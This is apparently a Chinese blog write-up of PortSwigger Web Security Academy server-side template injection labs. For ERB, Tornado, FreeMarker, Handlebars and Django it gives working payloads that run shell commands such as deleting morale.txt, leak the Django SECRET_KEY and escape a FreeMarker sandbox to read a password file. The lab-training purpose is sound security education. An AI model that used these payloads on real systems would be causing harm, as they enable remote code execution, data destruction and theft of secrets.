Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI)
- Portswigger web security academy:Server-side template injection(SSTI)
- Basic server-side template injection
- Basic server-side template injection (code context)
- Server-side template injection using documentation
- Server-side template injection in an unknown language with a documented exploit
- Server-side template injection with information disclosure via user-supplied objects
- Server-side template injection in a sandboxed environment
Basic server-side template injection
题目要求:

这道题要删除
morale.txtERB:全称是Embedded RuBy,意思是嵌入式的Ruby,是一种文本模板技术。
解题步骤:
进来看都是商品,点了第一个,提示卖完了,然后看到url里有可控参数
message,于是查了一下ERB的用法,打了个<%= 2*2 %>,回显4,说明这里存在ssti
去查了ruby进行系统命令执行的方法
exec 'command',然后ls
发现
morale.txt就在该目录下<%= exec 'rm morale.txt' %>参考:
Basic server-side template injection (code context)
题目要求:

这是一个Tornado框架下的ssti,要求还是删除
morale.txt解题步骤:
题目给了提示,要注意
preferred name功能点,我用burp抓包改了半天也不见回显( 我以为回显点在邮箱角的id处),然后去blog列表看了看,看到了评论功能,随手评论了一下
有回显了,接下来就用repeater改参数,然后看评论
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('ls').read() }}
发现
morale.txt就在当前目录下{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('rm morale.txt').read() }}删除,然后刷新页面,pass
参考:
https://www.cnblogs.com/R3col/p/12746485.html
(这里有个小插曲,我用这篇博客里的命令执行payload会提示“dict 没有属性 linecache”,于是改成了['xxx']形式)
Server-side template injection using documentation
题目要求:

要求还是一样,删除
morale.txt解题步骤:
这是个管理员账号,可以修改template,随便点一个商品,然后修改模板

说明这里存在ssti
然后在
${}里随便输点内容,有报错,发现是freemarker,查了资料,打了个payload<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}
有效,直接删除文件
<#assign test="freemarker.template.utility.Execute"?new()> ${test("rm morale.txt")}参考:
https://blog.csdn.net/weixin_33967071/article/details/89831707
Server-side template injection in an unknown language with a documented exploit
题目要求:

还是一样,删除
morale.txt解题步骤:
先点一个商品,发现和前边做过的题一样,会提示已售空,提示信息在url中,可控,尝试
{{4*4}}
发现是
Node.js+Handlebars模板引擎搜了一下
Handlebars server-side template injection,看到一篇介绍,里面跳到了一篇关于HandlebarsSSTI导致RCE的文章,根据介绍和文章,构造payload:{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencode一下就可以了
Server-side template injection with information disclosure via user-supplied objects
题目要求:

要获取
secret key,解题步骤:
先进入模板编辑页面,打个
payload
从提示信息可以看出是django框架,根据题目的提示,思路就有了
通过某种方式找到django默认应用admin的model,再通过这个model获取settings对象,进而获得secret_key因为之前接触过django和tornado,稍微了解一些,尝试了一下
{{ settings.SECRET_KEY}},成功拿到SECRET_KEY
Server-side template injection in a sandboxed environment
题目描述
这道题使用了
Freemarker模板引擎,因为沙盒的实现很糟糕,所以存在ssti漏洞要求逃逸沙河并读取
my_password.txt解题步骤
google了一大圈,没有找到相关度很高的文章,先看看官方solution吧
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
还是一样的思路,通过可调用对象来获取所有类,然后根据需求层层调用方法。
返回的是ascii值,写个脚本解一下就行
s = ''
s = s.split(' ')
for x in s:
print(chr(int(x)), end='')
很多ssti的题目都是这种感觉,思路是有的,但是缺乏寻找目标函数的高效方法。感觉最高效的就是看相关的安全文章和报告,因为官方文档中很少会介绍这些安全相关的函数用法。
Portswigger web security academy:Server-side template injection(SSTI)的更多相关文章
- Portswigger web security academy:Reflected XSS
Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
随机推荐
- 【python+selenium的web自动化】- 8种元素定位方式详解
我们在做WEB自动化时,最根本的就是操作页面上的各种元素,而操作的基础便是元素的定位,只有准确地定位到唯一元素才能进行后续的自动化控制,下面将对各种元素定位方式进行总结归纳. 说明:以下操作统 ...
- vscode动态调试
前言: 关于vscode动态调试php项目其实在网上有文章,但那些文章或多或少都有些坑点或者转载他人,未经验证过,几度重装系统重新配置的时候在网上看文章配置总是有点问题,所以这次自己写了一篇文章,从头 ...
- Netty源码 reactor 模型
翻阅源码时,我们会发现netty中很多方法的调用都是通过线程池的方式进行异步的调用, 这种 eventLoop.execute 方式的调用,实际上便是reactor线程.对应项目中使用广泛的NioE ...
- [Redis知识体系] 一文全面总结Redis知识体系
本系列主要对Redis知识体系进行详解.@pdai Redis教程 - Redis知识体系详解 知识体系 学习资料 知识体系 知识体系 相关文章 首先,我们通过学习Redis的概念基础,了解它适用的场 ...
- vue之better-scroll详解及封装
在我们的h5或移动端网页开发中,常常会需要实现滚动加载数据,等需求,而在开发中原生开发往往会带来意想不到的问题,因此我们引入better-scroll来帮我们实现流畅的滚动效果. 什么是better- ...
- Go语言学习 学习资料汇总
从进入实验室以来,一直听小溪师兄说Go语言,但是第一学期的课很多,一直没有时间学习,现在终于空出来时间学习,按照我的学习习惯,我一般分为三步走 学习一门语言首先要知道学会了能干什么, 然后再把网上的资 ...
- 自然语言处理(NLP)知识结构总结
自然语言处理知识太庞大了,网上也都是一些零零散散的知识,比如单独讲某些模型,也没有来龙去脉,学习起来较为困难,于是我自己总结了一份知识体系结构,不足之处,欢迎指正.内容来源主要参考黄志洪老师的自然语言 ...
- 2021年的UWP(6)——长生命周期Desktop Extension向UWP的反向通知
上一篇我们讨论了UWP和Desktop Extension间的双向通讯,适用于Desktop Extension中存在用户交互的场景.本篇我们讨论最后一种情况,与前者不同的是,Desktop Exte ...
- C语言之简易了解程序环境
C语言之简易了解程序环境 大纲: 程序的翻译环境 预编译 编译 汇编 链接 程序的运行环境 在ANSI C的任何一种实现中,存在两个不同的环境. 第1种是翻译环境,在这个环境中源代码被转换为可执行的机 ...
- java中if语句的应用
1. 注释怎么写: 1.1 //单行注释 1.2 /*多行注释*/ 2. If语句的用法 2.1. if(条件语句){ ( ps:只有一行代码时可以不加{} ) } 2.2. if(条件语句) ...